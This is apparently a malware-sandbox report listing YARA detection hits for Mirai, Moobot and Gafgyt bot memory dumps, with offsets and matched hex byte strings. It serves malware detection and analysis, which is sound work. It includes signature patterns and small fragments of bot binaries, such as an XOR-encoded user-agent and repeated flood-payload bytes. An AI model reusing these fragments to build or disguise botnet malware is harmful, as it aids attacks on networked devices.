7026.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6521.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6521.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6521.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6750.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6409.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6409.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6409.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6409.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7144.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7144.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7144.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7144.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7144.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7144.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7103.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7103.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7103.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7103.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7103.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7103.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7366.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6576.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6290.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6871.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6871.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6871.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6871.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6871.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6871.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7116.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7116.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7116.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7116.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7116.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7116.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6426.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6624.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6624.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6521.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
